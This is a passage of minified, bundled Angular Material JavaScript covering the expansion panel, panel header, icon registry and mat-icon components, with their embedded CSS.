t=this._document.activeElement,e=this._body.nativeElement;return t===e||e.contains(t)}return!1}}return t.\u0275fac=function(e){return new(e||t)(i.Y36(P,12),i.Y36(i.sBO),i.Y36(a.A8),i.Y36(i.s_b),i.Y36(p.K0),i.Y36(w.Qb,8),i.Y36(F,8))},t.\u0275cmp=i.Xpm({type:t,selectors:[["mat-expansion-panel"]],contentQueries:function(t,e,n){if(1&t&&i.Suo(n,L,5),2&t){let t;i.iGM(t=i.CRH())&&(e._lazyContent=t.first)}},viewQuery:function(t,e){if(1&t&&i.Gf(E,5),2&t){let t;i.iGM(t=i.CRH())&&(e._body=t.first)}},hostAttrs:[1,"mat-expansion-panel"],hostVars:6,hostBindings:function(t,e){2&t&&i.ekj("mat-expanded",e.expanded)("_mat-animation-noopable","NoopAnimations"===e._animationMode)("mat-expansion-panel-spacing",e._hasSpacing())},inputs:{disabled:"disabled",expanded:"expanded",hideToggle:"hideToggle",togglePosition:"togglePosition"},outputs:{opened:"opened",closed:"closed",expandedChange:"expandedChange",afterExpand:"afterExpand",afterCollapse:"afterCollapse"},exportAs:["matExpansionPanel"],features:[i._Bn([{provide:P,useValue:void 0}]),i.qOj,i.TTD],ngContentSelectors:A,decls:7,vars:4,consts:[["role","region",1,"mat-expansion-panel-content",3,"id"],["body",""],[1,"mat-expansion-panel-body"],[3,"cdkPortalOutlet"]],template:function(t,e){1&t&&(i.F$t(T),i.Hsn(0),i.TgZ(1,"div",0,1),i.NdJ("@bodyExpansion.done",function(t){return e._bodyAnimationDone.next(t)}),i.TgZ(3,"div",2),i.Hsn(4,1),i.YNc(5,k,0,0,"ng-template",3),i.qZA(),i.Hsn(6,2),i.qZA()),2&t&&(i.xp6(1),i.Q6J("@bodyExpansion",e._getExpandedState())("id",e.id),i.uIk("aria-labelledby",e._headerId),i.xp6(4),i.Q6J("cdkPortalOutlet",e._portal))},directives:[d.Pl],styles:[".mat-expansion-panel{box-sizing:content-box;display:block;margin:0;border-radius:4px;overflow:hidden;transition:margin 225ms cubic-bezier(0.4, 0, 0.2, 1),box-shadow 280ms cubic-bezier(0.4, 0, 0.2, 1);position:relative}.mat-accordion .mat-expansion-panel:not(.mat-expanded),.mat-accordion .mat-expansion-panel:not(.mat-expansion-panel-spacing){border-radius:0}.mat-accordion .mat-expansion-panel:first-of-type{border-top-right-radius:4px;border-top-left-radius:4px}.mat-accordion .mat-expansion-panel:last-of-type{border-bottom-right-radius:4px;border-bottom-left-radius:4px}.cdk-high-contrast-active .mat-expansion-panel{outline:solid 1px}.mat-expansion-panel.ng-animate-disabled,.ng-animate-disabled .mat-expansion-panel,.mat-expansion-panel._mat-animation-noopable{transition:none}.mat-expansion-panel-content{display:flex;flex-direction:column;overflow:visible}.mat-expansion-panel-body{padding:0 24px 16px}.mat-expansion-panel-spacing{margin:16px 0}.mat-accordion>.mat-expansion-panel-spacing:first-child,.mat-accordion>*:first-child:not(.mat-expansion-panel) .mat-expansion-panel-spacing{margin-top:0}.mat-accordion>.mat-expansion-panel-spacing:last-child,.mat-accordion>*:last-child:not(.mat-expansion-panel) .mat-expansion-panel-spacing{margin-bottom:0}.mat-action-row{border-top-style:solid;border-top-width:1px;display:flex;flex-direction:row;justify-content:flex-end;padding:16px 8px 16px 24px}.mat-action-row button.mat-button-base,.mat-action-row button.mat-mdc-button-base{margin-left:8px}[dir=rtl] .mat-action-row button.mat-button-base,[dir=rtl] .mat-action-row button.mat-mdc-button-base{margin-left:0;margin-right:8px}\n"],encapsulation:2,data:{animation:[D.bodyExpansion]},changeDetection:0}),t})();class B{}const j=(0,f.sb)(B);let H=(()=>{class t extends j{constructor(t,e,n,i,s,r,a){super(),this.panel=t,this._element=e,this._focusMonitor=n,this._changeDetectorRef=i,this._animationMode=r,this._parentChangeSubscription=o.w.EMPTY;const c=t.accordion?t.accordion._stateChanges.pipe((0,v.h)(t=>!(!t.hideToggle&&!t.togglePosition))):x.E;this.tabIndex=parseInt(a||"")||0,this._parentChangeSubscription=(0,C.T)(t.opened,t.closed,c,t._inputChanges.pipe((0,v.h)(t=>!!(t.hideToggle||t.disabled||t.togglePosition)))).subscribe(()=>this._changeDetectorRef.markForCheck()),t.closed.pipe((0,v.h)(()=>t._containsFocus())).subscribe(()=>n.focusVia(e,"program")),s&&(this.expandedHeight=s.expandedHeight,this.collapsedHeight=s.collapsedHeight)}get disabled(){return this.panel.disabled}_toggle(){this.disabled||this.panel.toggle()}_isExpanded(){return this.panel.expanded}_getExpandedState(){return this.panel._getExpandedState()}_getPanelId(){return this.panel.id}_getTogglePosition(){return this.panel.togglePosition}_showToggle(){return!this.panel.hideToggle&&!this.panel.disabled}_getHeaderHeight(){const t=this._isExpanded();return t&&this.expandedHeight?this.expandedHeight:!t&&this.collapsedHeight?this.collapsedHeight:null}_keydown(t){switch(t.keyCode){case y.L_:case y.K5:(0,y.Vb)(t)||(t.preventDefault(),this._toggle());break;default:return void(this.panel.accordion&&this.panel.accordion._handleHeaderKeydown(t))}}focus(t,e){t?this._focusMonitor.focusVia(this._element,t,e):this._element.nativeElement.focus(e)}ngAfterViewInit(){this._focusMonitor.monitor(this._element).subscribe(t=>{t&&this.panel.accordion&&this.panel.accordion._handleHeaderFocus(this)})}ngOnDestroy(){this._parentChangeSubscription.unsubscribe(),this._focusMonitor.stopMonitoring(this._element)}}return t.\u0275fac=function(e){return new(e||t)(i.Y36(U,1),i.Y36(i.SBq),i.Y36(m.tE),i.Y36(i.sBO),i.Y36(F,8),i.Y36(w.Qb,8),i.$8M("tabindex"))},t.\u0275cmp=i.Xpm({type:t,selectors:[["mat-expansion-panel-header"]],hostAttrs:["role","button",1,"mat-expansion-panel-header","mat-focus-indicator"],hostVars:15,hostBindings:function(t,e){1&t&&i.NdJ("click",function(){return e._toggle()})("keydown",function(t){return e._keydown(t)}),2&t&&(i.uIk("id",e.panel._headerId)("tabindex",e.tabIndex)("aria-controls",e._getPanelId())("aria-expanded",e._isExpanded())("aria-disabled",e.panel.disabled),i.Udp("height",e._getHeaderHeight()),i.ekj("mat-expanded",e._isExpanded())("mat-expansion-toggle-indicator-after","after"===e._getTogglePosition())("mat-expansion-toggle-indicator-before","before"===e._getTogglePosition())("_mat-animation-noopable","NoopAnimations"===e._animationMode))},inputs:{tabIndex:"tabIndex",expandedHeight:"expandedHeight",collapsedHeight:"collapsedHeight"},features:[i.qOj],ngContentSelectors:R,decls:5,vars:1,consts:[[1,"mat-content"],["class","mat-expansion-indicator",4,"ngIf"],[1,"mat-expansion-indicator"]],template:function(t,e){1&t&&(i.F$t(O),i.TgZ(0,"span",0),i.Hsn(1),i.Hsn(2,1),i.Hsn(3,2),i.qZA(),i.YNc(4,I,1,1,"span",1)),2&t&&(i.xp6(4),i.Q6J("ngIf",e._showToggle()))},directives:[p.O5],styles:['.mat-expansion-panel-header{display:flex;flex-direction:row;align-items:center;padding:0 24px;border-radius:inherit;transition:height 225ms cubic-bezier(0.4, 0, 0.2, 1)}.mat-expansion-panel-header._mat-animation-noopable{transition:none}.mat-expansion-panel-header:focus,.mat-expansion-panel-header:hover{outline:none}.mat-expansion-panel-header.mat-expanded:focus,.mat-expansion-panel-header.mat-expanded:hover{background:inherit}.mat-expansion-panel-header:not([aria-disabled=true]){cursor:pointer}.mat-expansion-panel-header.mat-expansion-toggle-indicator-before{flex-direction:row-reverse}.mat-expansion-panel-header.mat-expansion-toggle-indicator-before .mat-expansion-indicator{margin:0 16px 0 0}[dir=rtl] .mat-expansion-panel-header.mat-expansion-toggle-indicator-before .mat-expansion-indicator{margin:0 0 0 16px}.mat-content{display:flex;flex:1;flex-direction:row;overflow:hidden}.mat-expansion-panel-header-title,.mat-expansion-panel-header-description{display:flex;flex-grow:1;margin-right:16px}[dir=rtl] .mat-expansion-panel-header-title,[dir=rtl] .mat-expansion-panel-header-description{margin-right:0;margin-left:16px}.mat-expansion-panel-header-description{flex-grow:2}.mat-expansion-indicator::after{border-style:solid;border-width:0 2px 2px 0;content:"";display:inline-block;padding:3px;transform:rotate(45deg);vertical-align:middle}.cdk-high-contrast-active .mat-expansion-panel .mat-expansion-panel-header.cdk-keyboard-focused:not([aria-disabled=true])::before,.cdk-high-contrast-active .mat-expansion-panel .mat-expansion-panel-header.cdk-program-focused:not([aria-disabled=true])::before,.cdk-high-contrast-active .mat-expansion-panel:not(.mat-expanded) .mat-expansion-panel-header:hover:not([aria-disabled=true])::before{top:0;left:0;right:0;bottom:0;position:absolute;box-sizing:border-box;pointer-events:none;border:3px solid;border-radius:4px;content:""}.cdk-high-contrast-active .mat-expansion-panel-content{border-top:1px solid;border-top-left-radius:0;border-top-right-radius:0}\n'],encapsulation:2,data:{animation:[D.indicatorRotate]},changeDetection:0}),t})(),V=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275dir=i.lG2({type:t,selectors:[["mat-panel-title"]],hostAttrs:[1,"mat-expansion-panel-header-title"]}),t})(),G=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=i.oAB({type:t}),t.\u0275inj=i.cJS({imports:[[p.ez,f.BQ,h,d.eL]]}),t})()},52529:function(t,e,n){"use strict";n.d(e,{Hw:function(){return N},Ps:function(){return D}});var i=n(2316),s=n(24298),r=n(20657),o=n(54364),a=n(81134),c=n(45871),l=n(42720),u=n(11318),h=n(14921),d=n(33927),p=n(18293),f=n(71435),m=n(11355),g=n(53466),_=n(53882),v=n(71570);const b=["*"];function y(t){return Error(`Unable to find icon with the name "${t}"`)}function w(t){return Error(`The URL provided to MatIconRegistry was not trusted as a resource URL via Angular's DomSanitizer. Attempted URL was "${t}".`)}function x(t){return Error(`The literal provided to MatIconRegistry was not trusted as safe HTML by Angular's DomSanitizer. Attempted literal was "${t}".`)}class C{constructor(t,e,n){this.url=t,this.svgText=e,this.options=n}}let S=(()=>{class t{constructor(t,e,n,i){this._httpClient=t,this._sanitizer=e,this._errorHandler=i,this._svgIconConfigs=new Map,this._iconSetConfigs=new Map,this._cachedIconsByUrl=new Map,this._inProgressUrlFetches=new Map,this._fontCssClassesByAlias=new Map,this._resolvers=[],this._defaultFontSetClass="material-icons",this._document=n}addSvgIcon(t,e,n){return this.addSvgIconInNamespace("",t,e,n)}addSvgIconLiteral(t,e,n){return this.addSvgIconLiteralInNamespace("",t,e,n)}addSvgIconInNamespace(t,e,n,i){return this._addSvgIconConfig(t,e,new C(n,null,i))}addSvgIconResolver(t){return this._resolvers.push(t),this}addSvgIconLiteralInNamespace(t,e,n,s){const r=this._sanitizer.sanitize(i.q3G.HTML,n);if(!r)throw x(n);return this._addSvgIconConfig(t,e,new C("",r,s))}addSvgIconSet(t,e){return this.addSvgIconSetInNamespace("",t,e)}addSvgIconSetLiteral(t,e){return this.addSvgIconSetLiteralInNamespace("",t,e)}addSvgIconSetInNamespace(t,e,n){return this._addSvgIconSetConfig(t,new C(e,null,n))}addSvgIconSetLiteralInNamespace(t,e,n){const s=this._sanitizer.sanitize(i.q3G.HTML,e);if(!s)throw x(e);return this._addSvgIconSetConfig(t,new C("",s,n))}registerFontClassAlias(t,e=t){return this._fontCssClassesByAlias.set(t,e),this}classNameForFontAlias(t){return this._fontCssClassesByAlias.get(t)||t}setDefaultFontSetClass(t){return this._defaultFontSetClass=t,this}getDefaultFontSetClass(){return this._defaultFontSetClass}getSvgIconFromUrl(t){const e=this._sanitizer.sanitize(i.q3G.RESOURCE_URL,t);if(!e)throw w(t);const n=this._cachedIconsByUrl.get(e);return n?(0,a.of)(E(n)):this._loadSvgIconFromConfig(new C(t,null)).pipe((0,h.b)(t=>this._cachedIconsByUrl.set(e,t)),(0,d.U)(t=>E(t)))}getNamedSvgIcon(t,e=""){const n=k(e,t);let i=this._svgIconConfigs.get(n);if(i)return this._getSvgFromConfig(i);if(i=this._getIconConfigFromResolvers(e,t),i)return this._svgIconConfigs.set(n,i),this._getSvgFromConfig(i);const s=this._iconSetConfigs.get(e);return s?this._getSvgFromIconSetConfigs(t,s):(0,c._)(y(n))}ngOnDestroy(){this._resolvers=[],this._svgIconConfigs.clear(),this._iconSetConfigs.clear(),this._cachedIconsByUrl.clear()}_getSvgFromConfig(t){return t.svgText?(0,a.of)(E(this._svgElementFromConfig(t))):this._loadSvgIconFromConfig(t).pipe((0,d.U)(t=>E(t)))}_getSvgFromIconSetConfigs(t,e){const n=this._extractIconWithNameFromAnySet(t,e);if(n)return(0,a.of)(n);const s=e.filter(t=>!t.svgText).map(t=>this._loadSvgIconSetFromConfig(t).pipe((0,p.K)(e=>{const n=`Loading icon set URL: ${this._sanitizer.sanitize(i.q3G.RESOURCE_URL,t.url)} failed: ${e.message}`;return this._errorHandler.handleError(new Error(n)),(0,a.of)(null)})));return(0,l.D)(s).pipe((0,d.U)(()=>{const n=this._extractIconWithNameFromAnySet(t,e);if(!n)throw y(t);return n}))}_extractIconWithNameFromAnySet(t,e){for(let n=e.length-1;n>=0;n--){const i=e[n];if(i.svgText&&i.svgText.indexOf(t)>-1){const e=this._svgElementFromConfig(i),n=this._extractSvgIconFromSet(e,t,i.options);if(n)return n}}return null}_loadSvgIconFromConfig(t){return this._fetchIcon(t).pipe((0,h.b)(e=>t.svgText=e),(0,d.U)(()=>this._svgElementFromConfig(t)))}_loadSvgIconSetFromConfig(t){return t.svgText?(0,a.of)(null):this._fetchIcon(t).pipe((0,h.b)(e=>t.svgText=e))}_extractSvgIconFromSet(t,e,n){const i=t.querySelector(`[id="${e}"]`);if(!i)return null;const s=i.cloneNode(!0);if(s.removeAttribute("id"),"svg"===s.nodeName.toLowerCase())return this._setSvgAttributes(s,n);if("symbol"===s.nodeName.toLowerCase())return this._setSvgAttributes(this._toSvgElement(s),n);const r=this._svgElementFromString("<svg></svg>");return r.appendChild(s),this._setSvgAttributes(r,n)}_svgElementFromString(t){const e=this._document.createElement("DIV");e.innerHTML=t;const n=e.querySelector("svg");if(!n)throw Error("<svg> tag not found");return n}_toSvgElement(t){const e=this._svgElementFromString("<svg></svg>"),n=t.attributes;for(let i=0;i<n.length;i++){const{name:t,value:s}=n[i];"id"!==t&&e.setAttribute(t,s)}for(let i=0;i<t.childNodes.length;i++)t.childNodes[i].nodeType===this._document.ELEMENT_NODE&&e.appendChild(t.childNodes[i].cloneNode(!0));return e}_setSvgAttributes(t,e){return t.setAttribute("fit",""),t.setAttribute("height","100%"),t.setAttribute("width","100%"),t.setAttribute("preserveAspectRatio","xMidYMid meet"),t.setAttribute("focusable","false"),e&&e.viewBox&&t.setAttribute("viewBox",e.viewBox),t}_fetchIcon(t){var e;const{url:n,options:s}=t,r=null!==(e=null==s?void 0:s.withCredentials)&&void 0!==e&&e;if(!this._httpClient)throw Error("Could not find HttpClient provider for use with Angular Material icons. Please include the HttpClientModule from @angular/common/http in your app imports.");if(null==n)throw Error(`Cannot fetch icon from URL "${n}".`);const o=this._sanitizer.sanitize(i.q3G.RESOURCE_URL,n);if(!o)throw w(n);const a=this._inProgressUrlFetches.get(o);if(a)return a;const c=this._httpClient.get(o,{responseType:"text",withCredentials:r}).pipe((0,f.x)(()=>this._inProgressUrlFetches.delete(o)),(0,m.B)());return this._inProgressUrlFetches.set(o,c),c}_addSvgIconConfig(t,e,n){return this._svgIconConfigs.set(k(t,e),n),this}_addSvgIconSetConfig(t,e){const n=this._iconSetConfigs.get(t);return n?n.push(e):this._iconSetConfigs.set(t,[e]),this}_svgElementFromConfig(t){if(!t.svgElement){const e=this._svgElementFromString(t.svgText);this._setSvgAttributes(e,t.options),t.svgElement=e}return t.svgElement}_getIconConfigFromResolvers(t,e){for(let n=0;n<this._resolvers.length;n++){const i=this._resolvers[n](e,t);if(i)return T(i)?new C(i.url,null,i.options):new C(i,null)}}}return t.\u0275fac=function(e){return new(e||t)(i.LFG(_.eN,8),i.LFG(v.H7),i.LFG(o.K0,8),i.LFG(i.qLn))},t.\u0275prov=i.Yz7({factory:function(){return new t(i.LFG(_.eN,8),i.LFG(v.H7),i.LFG(o.K0,8),i.LFG(i.qLn))},token:t,providedIn:"root"}),t})();function E(t){return t.cloneNode(!0)}function k(t,e){return t+":"+e}function T(t){return!(!t.url||!t.options)}const A=(0,s.pj)(class{constructor(t){this._elementRef=t}}),I=new i.OlP("mat-icon-location",{providedIn:"root",factory:function(){const t=(0,i.f3M)(o.K0),e=t?t.location:null;return{getPathname:()=>e?e.pathname+e.search:""}}}),O=["clip-path","color-profile","src","cursor","fill","filter","marker","marker-start","marker-mid","marker-end","mask","stroke"],R=O.map(t=>`[${t}]`).join(", "),P=/^url\(['"]?#(.*?)['"]?\)$/;let N=(()=>{class t extends A{constructor(t,e,n,i,s){super(t),this._iconRegistry=e,this._location=i,this._errorHandler=s,this._inline=!1,this._currentIconFetch=u.w.EMPTY,n||t.nativeElement.setAttribute("aria-hidden","true")}get inline(){return this._inline}set inline(t){this._inline=(0,r.Ig)(t)}get svgIcon(){return this._svgIcon}set svgIcon(t){t!==this._svgIcon&&(t?this._updateSvgIcon(t):this._svgIcon&&this._clearSvgElement(),this._svgIcon=t)}get fontSet(){return this._fontSet}set fontSet(t){const e=this._cleanupFontValue(t);e!==this._fontSet&&(this._fontSet=e,this._updateFontIconClasses())}get fontIcon(){return this._fontIcon}set fontIcon(t){const e=this._cleanupFontValue(t);e!==this._fontIcon&&(this._fontIcon=e,this._updateFontIconClasses())}_splitIconName(t){if(!t)return["",""];const e=t.split(":");switch(e.length){case 1:return["",e[0]];case 2:return e;default:throw Error(`Invalid icon name: "${t}"`)}}ngOnInit(){this._updateFontIconClasses()}ngAfterViewChecked(){const t=this._elementsWithExternalReferences;if(t&&t.size){const t=this._location.getPathname();t!==this._previousPath&&(this._previousPath=t,this._prependPathToReferences(t))}}ngOnDestroy(){this._currentIconFetch.unsubscribe(),this._elementsWithExternalReferences&&this._elementsWithExternalReferences.clear()}_usingFontIcon(){return!this.svgIcon}_setSvgElement(t){this._clearSvgElement();const e=t.querySelectorAll("style");for(let i=0;i<e.length;i++)e[i].textContent+=" ";const n=this._location.getPathname();this._previousPath=n,this._cacheChildrenWithExternalReferences(t),this._prependPathToReferences(n),this._elementRef.nativeElement.appendChild(t)}_clearSvgElement(){const t=this._elementRef.nativeElement;let e=t.childNodes.length;for(this._elementsWithExternalReferences&&this._elementsWithExternalReferences.clear();e--;){const n=t.childNodes[e];(1!==n.nodeType||"svg"===n.nodeName.toLowerCase())&&t.removeChild(n)}}_updateFontIconClasses(){if(!this._usingFontIcon())return;const t=this._elementRef.nativeElement,e=this.fontSet?this._iconRegistry.classNameForFontAlias(this.fontSet):this._iconRegistry.getDefaultFontSetClass();e!=this._previousFontSetClass&&(this._previousFontSetClass&&t.classList.remove(this._previousFontSetClass),e&&t.classList.add(e),this._previousFontSetClass=e),this.fontIcon!=this._previousFontIconClass&&(this._previousFontIconClass&&t.classList.remove(this._previousFontIconClass),this.fontIcon&&t.classList.add(this.fontIcon),this._previousFontIconClass=this.fontIcon)}_cleanupFontValue(t){return"string"==typeof t?t.trim().split(" ")[0]:t}_prependPathToReferences(t){const e=this._elementsWithExternalReferences;e&&e.forEach((e,n)=>{e.forEach(e=>{n.setAttribute(e.name,`url('${t}#${e.value}')`)})})}_cacheChildrenWithExternalReferences(t){const e=t.querySelectorAll(R),n=this._elementsWithExternalReferences=this._elementsWithExternalReferences||new Map;for(let i=0;i<e.length;i++)O.forEach(t=>{const s=e[i],r=s.getAttribute(t),o=r?r.match(P):null;if(o){let e=n.get(s);e||(e=[],n.set(s,e)),e.push({name:t,value:o[1]})}})}_updateSvgIcon(t){if(this._svgNamespace=null,this._svgName=null,this._currentIconFetch.unsubscribe(),t){const[e,n]=this._splitIconName(t);e&&(this._svgNamespace=e),n&&(this._svgName=n),this._currentIconFetch=this._iconRegistry.getNamedSvgIcon(n,e).pipe((0,g.q)(1)).subscribe(t=>this._setSvgElement(t),t=>{this._errorHandler.handleError(new Error(`Error retrieving icon ${e}:${n}! ${t.message}`))})}}}return t.\u0275fac=function(e){return new(e||t)(i.Y36(i.SBq),i.Y36(S),i.$8M("aria-hidden"),i.Y36(I),i.Y36(i.qLn))},t.\u0275cmp=i.Xpm({type:t,selectors:[["mat-icon"]],hostAttrs:["role","img",1,"mat-icon","notranslate"],hostVars:7,hostBindings:function(t,e){2&t&&(i.uIk("data-mat-icon-type",e._usingFontIcon()?"font":"svg")("data-mat-icon-name",e._svgName||e.fontIcon)("data-mat-icon-namespace",e._svgNamespace||e.fontSet),i.ekj("mat-icon-inline",e.inline)("mat-icon-no-color","primary"!==e.color&&"accent"!==e.color&&"warn"!==e.color))},inputs:{color:"color",inline:"inline",svgIcon:"svgIcon",fontSet:"fontSet",fontIcon:"fontIcon"},exportAs:["matIcon"],features:[i.qOj],ngContentSelectors:b,decls:1,vars:0,template:function(t,e){1&t&&(i.F$t(),i.Hsn(0))},styles:[".mat-icon{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;background-repeat:no-repeat;display:inline-block;fill:currentColor;height:24px;width:24px}.mat-icon.mat-icon-inline{font-size:inherit;height:inherit;line-height:inherit;width:inherit}[dir=rtl] .mat-icon-rtl-mirror{transform:scale(-1, 1)}.mat-form-field:not(.mat-form-field-appearance-legacy) .mat-form-field-prefix .mat-icon,.mat-form-field:not(.mat-form-field-appearance-legacy) .mat-form-field-suffix .mat-icon{display:block}.mat-form-field:not(.mat-form-field-appearance-legacy) .mat-form-field-prefix .mat-icon-button .mat-icon,.mat-form-field:not(.mat-form-field-appearance-legacy) .mat-form-field-suffix .mat-icon-button .mat-icon{margin:auto}\n"],encapsulation:2,changeDetection:0}),t})(),D=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=i.oAB({type:t}),t.\u0275inj=i.cJS({imports:[[s.BQ],s.BQ]}),t})()},28417:function(t,e,n){"use strict";n.d(e,{i$:function(){return A},eA:function(){return I},Tg:function(){return R},ie:function(){return U},vS:function(){return M},Hk:function(){return T},Ub:function(){return F}});var i=n(54364),s=n(2316),r=n(24298),o=n(20657),a=n(79441),c=n(22663),l=n(1143),u=n(51606),h=n(62604),d=n(90084),p=n(1707),f=n(1124);const m=["*"],g='.mat-subheader{display:flex;box-sizing:border-box;padding:16px;align-items:center}.mat-list-base .mat-subheader{margin:0}.mat-list-base{padding-top:8px;display:block;-webkit-tap-highlight-color:transparent}.mat-list-base .mat-subheader{height:48px;line-height:16px}.mat-list-base .mat-subheader:first-child{margin-top:-8px}.mat-list-base .mat-list-item,.mat-list-base .mat-list-option{display:block;height:48px;-webkit-tap-highlight-color:transparent;width:100%;padding:0}.mat-list-base .mat-list-item .mat-list-item-content,.mat-list-base .mat-list-option .mat-list-item-content{display:flex;flex-direction:row;align-items:center;box-sizing:border-box;padding:0 16px;position:relative;height:inherit}.mat-list-base .mat-list-item .mat-list-item-content-reverse,.mat-list-base .mat-list-option .mat-list-item-content-reverse{display:flex;align-items:center;padding:0 16px;flex-direction:row-reverse;justify-content:space-around}.mat-list-base .mat-list-item .mat-list-item-ripple,.mat-list-base .mat-list-option .mat-list-item-ripple{top:0;left:0;right:0;bottom:0;position:absolute;pointer-events:none}.mat-list-base .mat-list-item.mat-list-item-with-avatar,.mat-list-base .mat-list-option.mat-list-item-with-avatar{height:56px}.mat-list-base .mat-list-item.mat-2-line,.mat-list-base .mat-list-option.mat-2-line{height:72px}.mat-list-base .mat-list-item.mat-3-line,.mat-list-base .mat-list-option.mat-3-line{height:88px}.mat-list-base .mat-list-item.mat-multi-line,.mat-list-base .mat-list-option.mat-multi-line{height:auto}.mat-list-base .mat-list-item.mat-multi-line .mat-list-item-content,.mat-list-base .mat-list-option.mat-multi-line .mat-list-item-content{padding-top:16px;padding-bottom:16px}.mat-list-base .mat-list-item .mat-list-text,.mat-list-base .mat-list-option .mat-list-text{display:flex;flex-direction:column;flex:auto;box-sizing:border-box;overflow:hidden;padding:0}.mat-list-base .mat-list-item .mat-list-text>*,.mat-list-base .mat-list-option .mat-list-text>*{margin:0;padding:0;font-weight:normal;font-size:inherit}.mat-list-base .mat-list-item .mat-list-text:empty,.mat-list-base .mat-list-option .mat-list-text:empty{display:none}.mat-list-base .mat-list-item.mat-list-item-with-avatar .mat-list-item-content .mat-list-text,.mat-list-base .mat-list-item.mat-list-option .mat-list-item-content .mat-list-text,.mat-list-base .mat-list-option.mat-list-item-with-avatar .mat-list-item-content .mat-list-text,.mat-list-base .mat-list-option.mat-list-option .mat-list-item-content .mat-list-text{padding-right:0;padding-left:16px}[dir=rtl] .mat-list-base .mat-list-item.mat-list-item-with-avatar .mat-list-item-content .mat-list-text,[dir=rtl] .mat-list-base .mat-list-item.mat-list-option .mat-list-item-content .mat-list-text,[dir=rtl] .mat-list-base .mat-list-option.mat-list-item-with-avatar .mat-list-item-content .mat-list-text,[dir=rtl] .mat-list-base .mat-list-option.mat-list-option .mat-list-item-content .mat-list-text{padding-right:16px;padding-left:0}.mat-list-base .mat-list-item.mat-list-item-with-avatar .mat-list-item-content-reverse .mat-list-text,.mat-list-base .mat-list-item.mat-list-option .mat-list-item-content-reverse .mat-list-text,.mat-list-base .mat-list-option.mat-list-item-with-avatar .mat-list-item-content-reverse .mat-list-text,.mat-list-base .mat-list-option.mat-list-option .mat-list-item-content-reverse .mat-list-text{padding-left:0;padding-right:16px}[dir=rtl] .mat-list-base .mat-list-item.mat-list-item-with-avatar .mat-list-item-content-reverse .mat-list-text,[dir=rtl] .mat-list-base .mat-list-item.mat-list-option .mat-list-item-content-reverse .mat-list-text,[dir=rtl] .mat-list-base .mat-list-option.mat-list-item-with-avatar .mat-list-item-content-reverse .mat-list-text,[dir=rtl] .mat-list-base .mat-list-option.mat-list-option .mat-list-item-content-reverse .mat-list-text{padding-right:0;padding-left:16px}.mat-list-base .mat-list-item.mat-list-item-with-avatar.mat-list-option .mat-list-item-content-reverse .mat-list-text,.mat-list-base .mat-list-item.mat-list-item-with-avatar.mat-list-option .mat-list-item-content .mat-list-text,.mat-list-base .mat-list-option.mat-list-item-with-avatar.mat-list-option .mat-list-item-content-reverse .mat-list-text,.mat-list-base .mat-list-option.mat-list-item-with-avatar.mat-list-option .mat-list-item-content .mat-list-text{padding-right:16px;padding-left:16px}.mat-list-base .mat-list-item .mat-list-avatar,.mat-list-base .mat-list-option .mat-list-avatar{flex-shrink:0;width:40px;height:40px;border-radius:50%;object-fit:cover}.mat-list-base .mat-list-item .mat-list-avatar~.mat-divider-inset,.mat-list-base .mat-list-option .mat-list-avatar~.mat-divider-inset{margin-left:72px;width:calc(100% - 72px)}[dir=rtl] .mat-list-base .mat-list-item .mat-list-avatar~.mat-divider-inset,[dir=rtl] .mat-list-base .mat-list-option .mat-list-avatar~.mat-divider-inset{margin-left:auto;margin-right:72px}.mat-list-base .mat-list-item .mat-list-icon,.mat-list-base .mat-list-option .mat-list-icon{flex-shrink:0;width:24px;height:24px;font-size:24px;box-sizing:content-box;border-radius:50%;padding:4px}.mat-list-base .mat-list-item .mat-list-icon~.mat-divider-inset,.mat-list-base .mat-list-option .mat-list-icon~.mat-divider-inset{margin-left:64px;width:calc(100% - 64px)}[dir=rtl] .mat-list-base .mat-list-item .mat-list-icon~.mat-divider-inset,[dir=rtl] .mat-list-base .mat-list-option .mat-list-icon~.mat-divider-inset{margin-left:auto;margin-right:64px}.mat-list-base .mat-list-item .mat-divider,.mat-list-base .mat-list-option .mat-divider{position:absolute;bottom:0;left:0;width:100%;margin:0}[dir=rtl] .mat-list-base .mat-list-item .mat-divider,[dir=rtl] .mat-list-base .mat-list-option .mat-divider{margin-left:auto;margin-right:0}.mat-list-base .mat-list-item .mat-divider.mat-divider-inset,.mat-list-base .mat-list-option .mat-divider.mat-divider-inset{position:absolute}.mat-list-base[dense]{padding-top:4px;display:block}.mat-list-base[dense] .mat-subheader{height:40px;line-height:8px}.mat-list-base[dense] .mat-subheader:first-child{margin-top:-4px}.mat-list-base[dense] .mat-list-item,.mat-list-base[dense] .mat-list-option{display:block;height:40px;-webkit-tap-highlight-color:transparent;width:100%;padding:0}.mat-list-base[dense] .mat-list-item .mat-list-item-content,.mat-list-base[dense] .mat-list-option .mat-list-item-content{display:flex;flex-direction:row;align-items:center;box-sizing:border-box;padding:0 16px;position:relative;height:inherit}.mat-list-base[dense] .mat-list-item .mat-list-item-content-reverse,.mat-list-base[dense] .mat-list-option .mat-list-item-content-reverse{display:flex;align-items:center;padding:0 16px;flex-direction:row-reverse;justify-content:space-around}.mat-list-base[dense] .mat-list-item .mat-list-item-ripple,.mat-list-base[dense] .mat-list-option .mat-list-item-ripple{top:0;left:0;right:0;bottom:0;position:absolute;pointer-events:none}.mat-list-base[dense] .mat-list-item.mat-list-item-with-avatar,.mat-list-base[dense] .mat-list-option.mat-list-item-with-avatar{height:48px}.mat-list-base[dense] .mat-list-item.mat-2-line,.mat-list-base[dense] .mat-list-option.mat-2-line{height:60px}.mat-list-base[dense] .mat-list-item.mat-3-line,.mat-list-base[dense] .mat-list-option.mat-3-line{height:76px}.mat-list-base[dense] .mat-list-item.mat-multi-line,.mat-list-base[dense] .mat-list-option.mat-multi-line{height:auto}.mat-list-base[dense] .mat-list-item.mat-multi-line .mat-list-item-content,.mat-list-base[dense] .mat-list-option.mat-multi-line .mat-list-item-content{padding-top:16px;padding-bottom:16px}.mat-list-base[dense] .mat-list-item .mat-list-text,.mat-list-base[dense] .mat-list-option .mat-list-text{display:flex;flex-direction:column;flex:auto;box-sizing:border-box;overflow:hidden;padding:0}.mat-list-base[dense] .mat-list-item .mat-list-text>*,.mat-list-base[dense] .mat-list-option .mat-list-text>*{margin:0;padding:0;font-weight:normal;font-size:inherit}.mat-list-base[dense] .mat-list-item .mat-list-text:empty,.mat-list-base[dense] .mat-list-option .mat-list-text:empty{display:none}.mat-list-base[dense] 